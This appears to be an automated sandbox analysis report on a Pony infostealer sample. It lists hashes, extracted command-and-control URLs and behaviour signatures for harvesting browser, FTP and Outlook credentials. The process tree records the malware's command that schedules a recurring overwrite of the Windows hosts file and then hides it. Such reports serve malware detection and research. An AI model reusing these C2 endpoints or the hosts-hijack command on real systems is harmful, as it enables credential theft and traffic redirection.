Analysis
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max time kernel
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max time network
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platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
06-12-2024 12:48
Static task
static1
Behavioral task
behavioral1
Sample
cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe
Resource
win10v2004-20241007-en
General
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Target
cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe
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Size
94KB
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MD5
cd157ab3ac4198c3bf5174c5745a81c0
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SHA1
f85a5db1345a4c079c64feee303484264b2ad4f5
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SHA256
fe74633d446c2d39d5ec7455b6bfd2516a92c12aa40cee8be93409ce3c2f6932
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SHA512
7393e6bc1fe8595e5408f9802c62e97892128a35ca76fcd94a725c11261eed5ecdc9dd1ec708b45a6625cc4b8bdc0f95a7d1118ba673cda5373d14df4a538cda
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SSDEEP
1536:4T1YF+1spIM1GENrRzK3GaQrhanKH1fx+F3Z09P/EpbpqPhHCvh:MOF+G2M1GElRG3GarOKJgPcpbpqRUh
Malware Config
Extracted
pony
http://bjktyu.pw:4915/way/like.php
http://hsyujld.pw:4915/way/like.php
Signatures
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Pony family
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Drops file in Drivers directory 3 IoCs
description ioc Process File created C:\Windows\system32\drivers\etc\tmp.tmp cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe File created C:\Windows\system32\drivers\etc\hosts.sam cmd.exe File opened for modification C:\Windows\system32\drivers\etc\hosts.sam cmd.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
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Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
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Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe -
Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs
pid Process 1256 cmd.exe 3960 at.exe -
resource yara_rule behavioral2/memory/612-2-0x0000000000400000-0x0000000000423000-memory.dmp upx behavioral2/memory/612-4-0x0000000000400000-0x0000000000423000-memory.dmp upx behavioral2/memory/612-9-0x0000000000400000-0x0000000000423000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language at.exe -
Suspicious use of AdjustPrivilegeToken 48 IoCs
description pid Process Token: SeImpersonatePrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeTcbPrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeCreateTokenPrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeBackupPrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeRestorePrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeImpersonatePrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeTcbPrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeCreateTokenPrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeBackupPrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeRestorePrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeImpersonatePrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeTcbPrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeCreateTokenPrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeBackupPrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeRestorePrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeImpersonatePrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeTcbPrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeCreateTokenPrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeBackupPrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeRestorePrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeImpersonatePrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeTcbPrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeCreateTokenPrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeBackupPrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeRestorePrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeImpersonatePrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeTcbPrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeCreateTokenPrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeBackupPrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeRestorePrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 612 wrote to memory of 1256 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe 89 PID 612 wrote to memory of 1256 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe 89 PID 612 wrote to memory of 1256 612 cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe 89 PID 1256 wrote to memory of 3960 1256 cmd.exe 91 PID 1256 wrote to memory of 3960 1256 cmd.exe 91 PID 1256 wrote to memory of 3960 1256 cmd.exe 91 -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\cd157ab3ac4198c3bf5174c5745a81c0_JaffaCakes118.exe"1⤵
- Drops file in Drivers directory
- Checks computer location settings
- Accesses Microsoft Outlook accounts
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_win_path
PID:612 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy C:\Windows\system32\drivers\etc\hosts C:\Windows\system32\drivers\etc\hosts.sam /Y && at 12:51:00 /every:M,T,W,Th,F,S,Su cmd.exe "/c attrib -H C:\Windows\system32\drivers\etc\hosts && copy C:\Users\Admin\AppData\Local\Temp\240640156aq C:\Windows\system32\drivers\etc\hosts /Y && attrib +H C:\Windows\system32\drivers\etc\hosts"2⤵
- Drops file in Drivers directory
- Hide Artifacts: Hidden Files and Directories
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1256 -
C:\Windows\SysWOW64\at.exeat 12:51:00 /every:M,T,W,Th,F,S,Su cmd.exe "/c attrib -H C:\Windows\system32\drivers\etc\hosts && copy C:\Users\Admin\AppData\Local\Temp\240640156aq C:\Windows\system32\drivers\etc\hosts /Y && attrib +H C:\Windows\system32\drivers\etc\hosts"3⤵
- Hide Artifacts: Hidden Files and Directories
- System Location Discovery: System Language Discovery
PID:3960
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